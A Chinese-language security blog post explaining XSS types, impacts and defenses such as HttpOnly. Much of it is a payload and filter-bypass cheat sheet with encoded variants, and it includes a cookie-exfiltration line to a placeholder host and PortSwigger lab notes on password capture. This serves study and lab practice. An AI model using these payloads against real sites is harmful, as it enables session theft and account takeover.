XSS
# XSS
# 跨站脚本攻击
网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web 应用程序能够输出相应的内容。动态站点会受到一种名为 “跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成 XSS, 原本应当是 css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称 XSS,而静态站点则完全不受其影响。XSS 的运行原理是将恶意的 script 脚本插入进 html/css/js 文件当中,恶意攻击者会在 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用 xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和 cookie 等各种内容
攻击者利用 XSS 漏洞旁路掉访问控制 —— 例如同源策略 (same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼 (Phishing) 攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的 “缓冲区溢出攻击”,而 JavaScript 是新型的 “ShellCode”。
xss 漏洞通常是通过 php 的输出函数将 javascript 代码输出到 html 页面中,通过用户本地浏览器执行的,所以 xss 漏洞关键就是寻找参数未过滤的输出函数。
例如以下代码:
1 |
|
代码未对可控制参数做任何过滤,此时就可以利用 x 构建恶意 js 代码获取一定的信息,测试一下 ?x=<script>alert(1)<script>
此时是页面会弹出 1
:
xss 漏洞一般是在前端,对用户输入的内容缺少过滤,当用户构造恶意的 script 语句时,就有可能泄露信息,用户可以利用 php 中的输出函数(常见的输出函数有: print
、 print_r
、 echo
、 printf
、 sprintf
、 die
、 var_dump
、 var_export
)来获取敏感信息
危害影响:
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其它网站发起攻击
其实归根结底,XSS 的攻击方式就是想办法 “教唆” 用户的浏览器去执行一些这个网页中原本不存在的前端代码。可问题在于尽管一个信息框突然弹出来并不怎么友好,但也不至于会造成什么真实伤害啊。的确如此,但要说明的是,这里拿信息框说事仅仅是为了举个栗子,真正的黑客攻击在 XSS 中除非恶作剧,不然是不会在恶意植入代码中写上 alert (“say something”) 的。在真正的应用中,XSS 攻击可以干的事情还有很多
1. 窃取网页浏览中的 cookie 值
在网页浏览中我们常常涉及到用户登录,登录完毕之后服务端会返回一个 cookie 值。这个 cookie 值相当于一个令牌,拿着这张令牌就等同于证明了你是某个用户。如果你的 cookie 值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。如果想要通过 script 脚本获得当前页面的 cookie 值,通常会用到 cookie
2. 劫持流量实现恶意跳转
这个很简单,就是在网页中想办法插入一句像这样的语句: 那么所访问的网站就会被跳转到百度的首页。早在 2011 年新浪就曾爆出过严重的 xss 漏洞,导致大量用户自动关注某个微博号并自动转发某条微博。
常出现场景:文章发表、评论、留言、注册资料的地方、修改资料的地方等
XSS 可以分为反射型、存储型、DOM 型
# 反射型 XSS
非持久化
(1)原理
反射型 xss 又称非持久型 xss,是目前最普遍的类型,这种攻击方式往往具有一次性,危害相对较小,但是方便攻击者构造。发出请求时,XSS 代码出现在 URL 中,作为输入提交到服务器端,服务器端解析后响应,XSS 代码随响应内容一起传回给浏览器,最后浏览器解析执行 XSS 代码。这个过程像一次反射,所以称反射型 XSS。
(2)攻击方式
攻击者通过电子邮件等方式将包含 xss 代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该用户的请求并进行处理,然后服务器把带有 xss 代码的数据发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后就会触发 xss 漏洞
在判断是否有能利用的 XSS 时,一般需要判断网站过滤了什么字符,然后进行代码注入:
面对输入框,先输入 1
:
然后查看源代码,找到输入的 1
出现在什么地方:
插入代码: "><img src=1 onerror="alert(/xss/)"/>
注入成功;
"><img src=1 onerror="alert(/xss/)"/>
中 ">
闭合了前面的语句,后面 <img src=1 onerror="alert(/xss/)"/>
是实际利用漏洞达到目的的语句
# 存储型 XSS
(1)原理
存储型 XSS 和反射型 XSS 的差别仅在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求目标页面时不用再提交 XSS 代码,会长期存在并有效。最典型的例子就是留言板 XSS,用户提交一条包含 XSS 代码的留言存储到数据库,目标用户查看留言板时,那些留言就会从数据库中加载出来并显示,于是触发了 XSS 攻击
(2)攻击方式
这种攻击多见于论坛、博客和留言板中,攻击者在发帖的过程中,将恶意脚本连同正常的信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久的存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在它们的浏览器中得到执行
# DOM 型 XSS
(1)原理
文档对象模型 Document Object Model(DOM)是一个与平台、编程语言不相干的接口,允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分
DOM 型 xss 其实是一种特殊类型的反射型 xss,也被称作本地跨站,它是基于 DOM 文档对象模型的一种漏洞。DOM XSS 和反射型 XSS、存储型 XSS 的区别在于 DOM XSS 代码并不需要服务器参与,出发 XSS 靠的是浏览器的 DOM 解析,完全是客户端的事情
DOM 中有很多对象,其中一些对象可以被用户所操纵,如 url,location 等。客户端的脚本程序可以通过 DOM 来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得 DOM 中的数据后并在本地执行,因此仅从服务器端是没有办法防御 DOM 型 XSS 漏洞的,如若 DOM 中的数据没有经过严格的验证,便会产生基于 DOM 的 XSS 漏洞。
基于 DOM 的 XSS 是反射的特例,其中 JavaScript 隐藏在 URL 中,并在其呈现时由页面中的 JavaScript 取出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的 WAF 或其他防护检测不出恶意内容。
(2)攻击方式
用户请求一个经过专门设计的 URL,它由攻击者提交,而且其中包含 xss 代码。服务器的响应不会以任何的形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM 对象就会处理 xss 代码,导致存在 xss 漏洞
# 使用 JS 代码获取 Cookie
1 | <script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);<script> |
# 获取 session
有的时候获取了 Cookie,但是少了 Session,会造成登不进后台,服务器开启了 Session 验证的话,我们只获取客户端的 Cookie 是没有办法通过验证的,而且我们也无法获取存放在服务端的 Session。如果需要获取 Session,可以借助辅助文件,比如访问 php 探针时就会携带 Session
想办法进入 phpinfo ()
利用 beef 进行页面跳转
获取页面源码
# HttpOnly
如果 Cookie 中设置了 HttpOnly 属性,那么通过 JS 脚本将无法读取到 Cookie 信息,这样能有效防止 XSS 攻击,窃取 Cookie 内容。 但是还是存在 xss 跨站语句,阻止的仅仅是获取 cookie
各种主流语言都支持 HttpOnly
# 反制 HttpOnly
当对方开启 HttpOnly 时,盗取 cookie 就会失败。登录后台的方式有 Cookie 登录和账号密码登录
(1)Cookie 形式
(2)直接账号密码登录
① 读取保存账号密码
通过窃取保存在本地的数据(账号密码)来登录后台(需要 xss 产生于登录地址,利用表单劫持)
type、id、name 通过查看网站源代码中的登录框表单
② 读取没保存账号密码
通过表单(登录框)劫持数据(产生在后台的 XSS,例如存储型 XSS 留言等)
劫持原理:抓取数据包另外发送一份到跨站平台
但是如果是 https 网站的话,数据是进行了 ssl 加密,获取了数据之后也是很难读取到账号密码的,鸡肋方法
# 一些常见标签
<script>
1 | <scirpt>alert("xss");</script> |
<img>
1 | <img src=1 onerror=alert("XSS")> |
<input>
1 | <input onfocus="alert('xss');"> |
1 | #竞争焦点,从而触发onblur事件 |
<details>
1 | <details ontoggle="alert('xss');"> |
<svg>
1 | <svg onload=alert("xss");> |
<select>
1 | <select onfocus=alert(1)></select> |
<ifrme>
1 | <iframe onload=alert("xss");></iframe> |
<video>
1 | <video><source onerror="alert(1)"> |
<audio>
1 | <audio src=x onerror=alert("xss");> |
<body>
1 | <body/onload=alert("xss");> |
利用换行符以及 autofocus,自动去触发 onscroll 事件,无需用户去触发
1 | <body |
<textarea>
1 | <textarea onfocus=alert("xss"); autofocus> |
<keygen>
1 | <keygen autofocus onfocus=alert(1)> //仅限火狐 |
<marquee>
1 | <marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以 |
<isindex>
1 | <isindex type=image src=1 onerror=alert("xss")>//仅限于IE |
利用 link 远程包含 js 文件
PS:在无 CSP 的情况下才可以
1 | <link rel=import href="http://127.0.0.1/1.js"> |
# javascript 伪协议
1 | <a href="javascript:alert(`xss`);">xss</a> |
<iframe>
标签
1 | <iframe src=javascript:alert('xss');></iframe> |
<img>
标签
1 | <img src=javascript:alert('xss')>//IE7以下 |
<form>
标签
1 | <form action="Javascript:alert(1)"><input type=submit> |
# 其它
expression
属性
1 | <img style="xss:expression(alert('xss''))"> // IE7以下 |
background
属性
1 | <table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效 |
# 绕过过滤
# 1. 空格
用 /
代替空格: <img/src="x"/onerror=alert("xss");>
# 2. 过滤关键词
# 大小写绕过
1 | <ImG sRc=x onerRor=alert("xss");> |
# 双写关键字
有些 waf 可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
1 | <imimgg srsrcc=x onerror=alert("xss");> |
# 字符拼接
# 利用 eval
1 | <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> |
# 利用 top
1 | <script>top["al"+"ert"](`xss`);</script> |
# 其它字符混淆
有的 waf 可能是用正则表达式去检测是否有 xss 攻击,如果我们能 fuzz 出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子
1 | 可利用注释、标签的优先级等 |
# 编码绕过
# Unicode 编码绕过
1 | <img src="x" onerror="alert("xss");"> |
# url 编码绕过
1 | <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> |
# Ascii 码绕过
1 | <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> |
# hex 绕过
1 | <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> |
# 八进制
1 | <img src=x onerror=alert('\170\163\163')> |
# base64 绕过
1 | <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> |
# 3. 过滤引号
1. 如果是 html 标签中,我们可以不用引号。如果是在 js 中,我们可以用反引号代替单双引号
1 | <img src="x" onerror=alert(`xss`);> |
2. 使用编码绕过,具体看上面我列举的例子
# 4. 过滤括号
使用 throw 绕过
1 | <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
# 5. 过滤 url 地址
# 使用 url 编码
1 | <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> |
# 使用 IP
1. 十进制 IP
1 | <img src="x" onerror=document.location=`http://2130706433/`> |
2. 八进制 IP
1 | <img src="x" onerror=document.location=`http://0177.0.0.01/`> |
3.hex
1 | <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`> |
4.html 标签中用 //
可以代替 http://
1 | <img src="x" onerror=document.location=`//www.baidu.com`> |
6. 使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
1 | <img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度 |
# portswigger 靶场 xss
PortSwigger 做题记录–Cross-site scripting (XSS,跨站点脚本) - 知乎 (zhihu.com)
# Exploiting cross-site scripting to steal cookies(利用跨站点脚本 窃取 Cookie)
1 | <script> |
# Exploiting cross-site scripting to capture passwords(利用跨站点脚本 捕获密码)
1 | <input name=username id=username> |
# Exploiting XSS to perform CSRF(利用 XSS 执行 CSRF)
1 | <script> |
# Reflected XSS protected by very strict CSP , with dangling markup attack(反射 XSS 受非常严格的 CSP 保护,具有悬空标记 攻击)
1 | <script> |
# Reflected XSS protected by CSP , with CSP bypass(受 ** CSP 保护的反射 XSS ,具有 CSP 旁路)
1 | <script>alert(666)</script>&token=;script-src-elem 'unsafe-inline' |
注入使用 CSP 中的 script-src-elem
指令。此指令允许您仅以 script
元素为目标。使用此指令,您可以覆盖现有的 script-src
规则,从而使您能够注入 unsafe-inline
,从而允许您使用内联脚本。
- Title: XSS
- Author: Fc04dB
- Created at : 2024-04-15 19:22:43
- Updated at : 2024-11-01 23:38:50
- Link: https://redefine.ohevan.com/2024/04/15/XSS/
- License: This work is licensed under CC BY-NC-SA 4.0.